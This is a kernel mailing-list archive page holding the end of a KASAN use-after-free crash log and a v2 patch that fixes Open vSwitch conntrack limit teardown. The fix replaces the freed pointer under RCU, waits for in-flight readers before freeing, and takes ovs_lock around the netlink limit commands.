[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? rcu_is_watching+0x12/0xc0
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_sendto+0xe5/0x1c0
[Wed Mar 18 20:20:25 2026] [ T10321] ? do_syscall_64+0x93/0x250
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? lockdep_hardirqs_on+0x7b/0x110
[Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [ T10321] RIP: 0033:0x7f820deb59ee
[Wed Mar 18 20:20:25 2026] [ T10321] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[Wed Mar 18 20:20:25 2026] [ T10321] RSP: 002b:00007f820de16dd8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[Wed Mar 18 20:20:25 2026] [ T10321] RAX: ffffffffffffffda RBX: 00007f820de176c0 RCX: 00007f820deb59ee
[Wed Mar 18 20:20:25 2026] [ T10321] RDX: 000000000000003a RSI: 00007f820de16e70 RDI: 0000000000000005
[Wed Mar 18 20:20:25 2026] [ T10321] RBP: 000055bb787812d0 R08: 00007f820de16e50 R09: 0000000000000014
[Wed Mar 18 20:20:25 2026] [ T10321] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000001337
[Wed Mar 18 20:20:25 2026] [ T10321] R13: 0000000000000052 R14: 00007ffc21454830 R15: 00007f820d617000
[Wed Mar 18 20:20:25 2026] [ T10321] </TASK>
[Wed Mar 18 20:20:25 2026] [ T10321] Allocated by task 10293:
[Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_stack+0x33/0x60
[Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_track+0x14/0x30
[Wed Mar 18 20:20:25 2026] [ T10321] __kasan_kmalloc+0xaa/0xb0
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_init+0xee/0x4d0
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_init_net+0x304/0x5b0
[Wed Mar 18 20:20:25 2026] [ T10321] ops_init+0x1e4/0x600
[Wed Mar 18 20:20:25 2026] [ T10321] setup_net+0x224/0x860
[Wed Mar 18 20:20:25 2026] [ T10321] copy_net_ns+0x2ab/0x5e0
[Wed Mar 18 20:20:25 2026] [ T10321] create_new_namespaces+0x3ef/0xae0
[Wed Mar 18 20:20:25 2026] [ T10321] unshare_nsproxy_namespaces+0xc8/0x1f0
[Wed Mar 18 20:20:25 2026] [ T10321] ksys_unshare+0x437/0xa10
[Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_unshare+0x36/0x50
[Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [ T10321] Freed by task 1492:
[Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_stack+0x33/0x60
[Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_track+0x14/0x30
[Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_free_info+0x3b/0x60
[Wed Mar 18 20:20:25 2026] [ T10321] __kasan_slab_free+0x4f/0x70
[Wed Mar 18 20:20:25 2026] [ T10321] kfree+0x14a/0x4a0
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_exit+0x19c/0x270
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_exit_net+0xb3/0x9b0
[Wed Mar 18 20:20:25 2026] [ T10321] ops_exit_list+0xb5/0x180
[Wed Mar 18 20:20:25 2026] [ T10321] cleanup_net+0x5bc/0xb20
[Wed Mar 18 20:20:25 2026] [ T10321] process_one_work+0x96d/0x1b60
[Wed Mar 18 20:20:25 2026] [ T10321] worker_thread+0x647/0xe70
[Wed Mar 18 20:20:25 2026] [ T10321] kthread+0x2b0/0x3a0
[Wed Mar 18 20:20:25 2026] [ T10321] ret_from_fork+0x4a/0x80
[Wed Mar 18 20:20:25 2026] [ T10321] ret_from_fork_asm+0x1a/0x30
[Wed Mar 18 20:20:25 2026] [ T10321] The buggy address belongs to the object at ffff888035c1f3e0
which belongs to the cache kmalloc-32 of size 32
[Wed Mar 18 20:20:25 2026] [ T10321] The buggy address is located 0 bytes inside of
freed 32-byte region [ffff888035c1f3e0, ffff888035c1f400)
[Wed Mar 18 20:20:25 2026] [ T10321] The buggy address belongs to the physical page:
[Wed Mar 18 20:20:25 2026] [ T10321] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x35c1f
[Wed Mar 18 20:20:25 2026] [ T10321] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
[Wed Mar 18 20:20:25 2026] [ T10321] page_type: f5(slab)
[Wed Mar 18 20:20:25 2026] [ T10321] raw: 00fff00000000000 ffff88801c042940 ffffea0000967490 ffffea000082b650
[Wed Mar 18 20:20:25 2026] [ T10321] raw: 0000000000000000 0000000000150015 00000001f5000000 0000000000000000
[Wed Mar 18 20:20:25 2026] [ T10321] page dumped because: kasan: bad access detected
[Wed Mar 18 20:20:25 2026] [ T10321] page_owner tracks the page as allocated
[Wed Mar 18 20:20:25 2026] [ T10321] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP), pid 5358, tgid 5358 (systemd-tmpfile), ts 75209207871, free_ts 75022619452
[Wed Mar 18 20:20:25 2026] [ T10321] post_alloc_hook+0x2ea/0x350
[Wed Mar 18 20:20:25 2026] [ T10321] get_page_from_freelist+0x7af/0x3990
[Wed Mar 18 20:20:25 2026] [ T10321] __alloc_pages_noprof+0x22b/0x26d0
[Wed Mar 18 20:20:25 2026] [ T10321] alloc_pages_mpol_noprof+0x2ce/0x610
[Wed Mar 18 20:20:25 2026] [ T10321] new_slab+0x2e5/0x420
[Wed Mar 18 20:20:25 2026] [ T10321] ___slab_alloc+0xe60/0x19e0
[Wed Mar 18 20:20:25 2026] [ T10321] __slab_alloc.isra.0+0x5b/0xb0
[Wed Mar 18 20:20:25 2026] [ T10321] __kmalloc_cache_noprof+0x2b9/0x300
[Wed Mar 18 20:20:25 2026] [ T10321] kmem_cache_free+0x2d3/0x490
[Wed Mar 18 20:20:25 2026] [ T10321] __fput+0x68b/0xb60
[Wed Mar 18 20:20:25 2026] [ T10321] __fput_sync+0x4a/0x60
[Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_close+0x8b/0x100
[Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [ T10321] page last free pid 5359 tgid 5359 stack trace:
[Wed Mar 18 20:20:25 2026] [ T10321] free_unref_page+0x6e8/0x1020
[Wed Mar 18 20:20:25 2026] [ T10321] tlb_finish_mmu+0x284/0x830
[Wed Mar 18 20:20:25 2026] [ T10321] exit_mmap+0x3e4/0xb40
[Wed Mar 18 20:20:25 2026] [ T10321] __mmput+0x12a/0x4c0
[Wed Mar 18 20:20:25 2026] [ T10321] mmput+0x67/0x70
[Wed Mar 18 20:20:25 2026] [ T10321] do_exit+0x969/0x2ce0
[Wed Mar 18 20:20:25 2026] [ T10321] do_group_exit+0xda/0x2a0
[Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_exit_group+0x43/0x50
[Wed Mar 18 20:20:25 2026] [ T10321] __pfx___do_sys_ni_syscall+0x0/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [ T10321] Memory state around the buggy address:
[Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f300: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [ T10321] >ffff888035c1f380: fc fc fc fc fc fc fc fc fc fc fc fc fa fb fb fb
[Wed Mar 18 20:20:25 2026] [ T10321] ^
[Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f480: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [ T10321] ==================================================================
[Wed Mar 18 20:20:25 2026] [ T10321] Kernel panic - not syncing: KASAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Yuqi Xu
net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++--------------
net/openvswitch/datapath.h | 2 +-
2 files changed, 51 insertions(+), 30 deletions(-)
--
2.54.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net v2 1/1] openvswitch: Fix CT limit teardown use-after-free
2026-07-22 16:40 [PATCH net v2 0/1] openvswitch: Fix CT limit teardown use-after-free Ren Wei
@ 2026-07-22 16:40 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-22 16:40 UTC (permalink / raw)
To: netdev, dev
Cc: aconole, echaudro, i.maximets, davem, edumazet, pabeni, horms,
yihung.wei, pshelar, vega, tonanli66, xuyuqiabc, enjou1224z
From: Yuqi Xu <xuyuqiabc@gmail.com>
Packet processing uses CT limit state under RCU, while netns teardown
frees that state under ovs_mutex. The CT limit pointer was neither removed
from readers nor protected by a grace period, allowing packet processing to
dereference the freed state.
Replace the pointer before freeing the CT limit state. Wait for in-flight
RCU readers before freeing its contents. Serialize CT limit netlink
operations with teardown for the full lifetime of their state accesses.
Fixes: 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Co-developed-by: Nan Li <tonanli66@gmail.com>
Signed-off-by: Nan Li <tonanli66@gmail.com>
Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
changes in v2:
- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/
net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++--------------
net/openvswitch/datapath.h | 2 +-
2 files changed, 51 insertions(+), 30 deletions(-)
diff --git a/net/openvswitch/conntrack.c b/net/openvswitch/conntrack.c
index 95697d4e16e6..5c9a607d27a7 100644
--- a/net/openvswitch/conntrack.c
+++ b/net/openvswitch/conntrack.c
@@ -933,10 +933,14 @@ static int ovs_ct_check_limit(struct net *net,
const struct ovs_conntrack_info *info)
{
struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
- const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
+ const struct ovs_ct_limit_info *ct_limit_info;
u32 per_zone_limit, connections;
u32 conncount_key;
+ ct_limit_info = rcu_dereference(ovs_net->ct_limit_info);
+ if (!ct_limit_info)
+ return 0;
+
conncount_key = info->zone.id;
per_zone_limit = ct_limit_get(ct_limit_info, info->zone.id);
@@ -1585,40 +1589,47 @@ static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info)
#if IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
static int ovs_ct_limit_init(struct net *net, struct ovs_net *ovs_net)
{
+ struct ovs_ct_limit_info *info;
int i, err;
- ovs_net->ct_limit_info = kmalloc_obj(*ovs_net->ct_limit_info);
- if (!ovs_net->ct_limit_info)
+ info = kmalloc_obj(*info);
+ if (!info)
return -ENOMEM;
- ovs_net->ct_limit_info->default_limit = OVS_CT_LIMIT_DEFAULT;
- ovs_net->ct_limit_info->limits =
+ info->default_limit = OVS_CT_LIMIT_DEFAULT;
+ info->limits =
kmalloc_objs(struct hlist_head, CT_LIMIT_HASH_BUCKETS);
- if (!ovs_net->ct_limit_info->limits) {
- kfree(ovs_net->ct_limit_info);
+ if (!info->limits) {
+ kfree(info);
return -ENOMEM;
}
for (i = 0; i < CT_LIMIT_HASH_BUCKETS; i++)
- INIT_HLIST_HEAD(&ovs_net->ct_limit_info->limits[i]);
+ INIT_HLIST_HEAD(&info->limits[i]);
- ovs_net->ct_limit_info->data = nf_conncount_init(net, sizeof(u32));
+ info->data = nf_conncount_init(net, sizeof(u32));
- if (IS_ERR(ovs_net->ct_limit_info->data)) {
- err = PTR_ERR(ovs_net->ct_limit_info->data);
- kfree(ovs_net->ct_limit_info->limits);
- kfree(ovs_net->ct_limit_info);
+ if (IS_ERR(info->data)) {
+ err = PTR_ERR(info->data);
+ kfree(info->limits);
+ kfree(info);
pr_err("openvswitch: failed to init nf_conncount %d\n", err);
return err;
}
+ rcu_assign_pointer(ovs_net->ct_limit_info, info);
return 0;
}
static void ovs_ct_limit_exit(struct net *net, struct ovs_net *ovs_net)
{
- const struct ovs_ct_limit_info *info = ovs_net->ct_limit_info;
+ const struct ovs_ct_limit_info *info;
int i;
+ info = rcu_replace_pointer(ovs_net->ct_limit_info, NULL,
+ lockdep_ovsl_is_held());
+ /* ovs_ct_check_limit() accesses the info under the datapath RCU lock. */
+ synchronize_rcu();
+
nf_conncount_destroy(net, info->data);
for (i = 0; i < CT_LIMIT_HASH_BUCKETS; ++i) {
struct hlist_head *head = &info->limits[i];
@@ -1678,9 +1689,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
while (rem >= sizeof(*zone_limit)) {
if (unlikely(zone_limit->zone_id ==
OVS_ZONE_LIMIT_DEFAULT_ZONE)) {
- ovs_lock();
info->default_limit = zone_limit->limit;
- ovs_unlock();
} else if (unlikely(!check_zone_id(
zone_limit->zone_id, &zone))) {
OVS_NLERR(true, "zone id is out of range");
@@ -1694,9 +1703,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,
ct_limit->zone = zone;
ct_limit->limit = zone_limit->limit;
- ovs_lock();
ct_limit_set(info, ct_limit);
- ovs_unlock();
}
rem -= NLA_ALIGN(sizeof(*zone_limit));
zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +
@@ -1722,16 +1729,12 @@ static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,
while (rem >= sizeof(*zone_limit)) {
if (unlikely(zone_limit->zone_id ==
OVS_ZONE_LIMIT_DEFAULT_ZONE)) {
- ovs_lock();
info->default_limit = OVS_CT_LIMIT_DEFAULT;
- ovs_unlock();
} else if (unlikely(!check_zone_id(
zone_limit->zone_id, &zone))) {
OVS_NLERR(true, "zone id is out of range");
} else {
- ovs_lock();
ct_limit_del(info, zone);
- ovs_unlock();
}
rem -= NLA_ALIGN(sizeof(*zone_limit));
zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +
@@ -1850,7 +1853,7 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)
struct sk_buff *reply;
struct ovs_header *ovs_reply_header;
struct ovs_net *ovs_net = net_generic(sock_net(skb->sk), ovs_net_id);
- struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
+ struct ovs_ct_limit_info *ct_limit_info;
int err;
reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_SET,
@@ -1863,16 +1866,22 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)
goto exit_err;
}
+ ovs_lock();
+ ct_limit_info = rcu_dereference_protected(ovs_net->ct_limit_info,
+ lockdep_ovsl_is_held());
err = ovs_ct_limit_set_zone_limit(a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT],
ct_limit_info);
if (err)
- goto exit_err;
+ goto exit_unlock;
static_branch_enable(&ovs_ct_limit_enabled);
genlmsg_end(reply, ovs_reply_header);
+ ovs_unlock();
return genlmsg_reply(reply, info);
+exit_unlock:
+ ovs_unlock();
exit_err:
nlmsg_free(reply);
return err;
@@ -1884,7 +1893,7 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)
struct sk_buff *reply;
struct ovs_header *ovs_reply_header;
struct ovs_net *ovs_net = net_generic(sock_net(skb->sk), ovs_net_id);
- struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
+ struct ovs_ct_limit_info *ct_limit_info;
int err;
reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_DEL,
@@ -1897,14 +1906,20 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)
goto exit_err;
}
+ ovs_lock();
+ ct_limit_info = rcu_dereference_protected(ovs_net->ct_limit_info,
+ lockdep_ovsl_is_held());
err = ovs_ct_limit_del_zone_limit(a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT],
ct_limit_info);
if (err)
- goto exit_err;
+ goto exit_unlock;
genlmsg_end(reply, ovs_reply_header);
+ ovs_unlock();
return genlmsg_reply(reply, info);
+exit_unlock:
+ ovs_unlock();
exit_err:
nlmsg_free(reply);
return err;
@@ -1918,7 +1933,7 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)
struct ovs_header *ovs_reply_header;
struct net *net = sock_net(skb->sk);
struct ovs_net *ovs_net = net_generic(net, ovs_net_id);
- struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info;
+ struct ovs_ct_limit_info *ct_limit_info;
int err;
reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_GET,
@@ -1932,23 +1947,29 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)
goto exit_err;
}
+ ovs_lock();
+ ct_limit_info = rcu_dereference_protected(ovs_net->ct_limit_info,
+ lockdep_ovsl_is_held());
if (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT]) {
err = ovs_ct_limit_get_zone_limit(
net, a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT], ct_limit_info,
reply);
if (err)
- goto exit_err;
+ goto exit_unlock;
} else {
err = ovs_ct_limit_get_all_zone_limit(net, ct_limit_info,
reply);
if (err)
- goto exit_err;
+ goto exit_unlock;
}
nla_nest_end(reply, nla_reply);
genlmsg_end(reply, ovs_reply_header);
+ ovs_unlock();
return genlmsg_reply(reply, info);
+exit_unlock:
+ ovs_unlock();
exit_err:
nlmsg_free(reply);
return err;
diff --git a/net/openvswitch/datapath.h b/net/openvswitch/datapath.h
index 696640e88fa7..93e11e468d17 100644
--- a/net/openvswitch/datapath.h
+++ b/net/openvswitch/datapath.h
@@ -172,7 +172,7 @@ struct ovs_net {
struct work_struct dp_notify_work;
struct delayed_work masks_rebalance;
#if IS_ENABLED(CONFIG_NETFILTER_CONNCOUNT)
- struct ovs_ct_limit_info *ct_limit_info;
+ struct ovs_ct_limit_info __rcu *ct_limit_info;
#endif
bool xt_label;
};
--
2.54.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-22 16:41 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-22 16:40 [PATCH net v2 0/1] openvswitch: Fix CT limit teardown use-after-free Ren Wei
2026-07-22 16:40 ` [PATCH net v2 1/1] " Ren Wei
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.